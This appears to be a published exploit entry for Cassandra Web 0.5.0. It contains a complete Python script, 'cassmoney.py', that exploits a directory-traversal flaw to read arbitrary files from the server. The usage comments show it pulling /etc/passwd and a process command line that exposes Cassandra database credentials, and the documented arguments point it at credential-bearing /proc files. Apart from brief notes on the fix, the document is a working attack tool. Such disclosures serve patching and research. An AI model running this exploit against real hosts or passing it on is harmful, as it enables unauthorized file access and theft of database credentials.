1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 |
# Exploit Title: Cassandra Web 0.5.0 - Remote File Read # Date: 12-28-2020 # Exploit Author: Jeremy Brown # Vendor Homepage: https://github.com/avalanche123/cassandra-web # Software Link: https://rubygems.org/gems/cassandra-web/versions/0.5.0 # Version: 0.5.0 # Tested on: Linux #!/usr/bin/python # -*- coding: UTF-8 -*- # # cassmoney.py # # Cassandra Web 0.5.0 Remote File Read Exploit # # Jeremy Brown [jbrown3264/gmail] # Dec 2020 # # Cassandra Web is vulnerable to directory traversal due to the disabled # Rack::Protection module. Apache Cassandra credentials are passed via the # CLI in order for the server to auth to it and provide the web access, so # they are also one thing that can be captured via the arbitrary file read. # # Usage # > cassmoney.py 10.0.0.5 /etc/passwd # root:x:0:0:root:/root:/bin/bash # daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin # bin:x:2:2:bin:/bin:/usr/sbin/nologin # ... # # > cassmoney.py 10.0.0.5 /proc/self/cmdline # /usr/bin/ruby2.7/usr/local/bin/cassandra-web--usernameadmin--passwordP@ssw0rd # # (these creds are for auth to the running apache cassandra database server) # # Fix # - fixed in github repo # - v0.6.0 / ruby-gems when available # (still recommended to containerize / run this in some sandbox, apparmor, etc) # import os import sys import argparse import requests import urllib.parse SIGNATURE = 'cassandra.js' # # /var/lib/gems/2.7.0/gems/cassandra-web-0.5.0/app/public # DT = '../' DT_NUM = 8 class CassMoney(object): def __init__(self, args): self.target = args.target self.file = args.file self.port = args.port self.force = args.force self.number = args.number def run(self): target = "http://" + self.target + ':' + str(self.port) payload = urllib.parse.quote_plus(DT * self.number + self.file) try: deskpop = requests.get(target) except Exception as error: print("Error: %s" % error) return -1 if(SIGNATURE not in deskpop.text and self.force == False): print("Target doesn't look like Cassandra Web, aborting...") return -1 try: req = requests.get(target + '/' + payload) except: print("Failed to read %s (perm denied likely)" % self.file) return -1 if(SIGNATURE in req.text): print("Failed to read %s (bad path?)" % self.file) return -1 if(len(req.text) == 0): print("Server returned nothing for some reason") return 0 print("\n%s" % req.text) return 0 def arg_parse(): parser = argparse.ArgumentParser() parser.add_argument("target", type=str, help="Cassandra Web Host") parser.add_argument("file", type=str, help="eg. /etc/passwd, /proc/sched_debug + /proc/<cass-web-pid>/cmdline") parser.add_argument("-p", "--port", type=int, default=3000, help="Cassandra Web Port") parser.add_argument("-f", "--force", default=False, action='store_true', help="Run the payload even if server isn't Cassandra Web") parser.add_argument("-n", "--number", type=int, default=DT_NUM, help="Adjust the number of dot-dot-slash") args = parser.parse_args() return args def main(): args = arg_parse() cm = CassMoney(args) result = cm.run() if(result > 0): sys.exit(-1) if(__name__ == '__main__'): main() |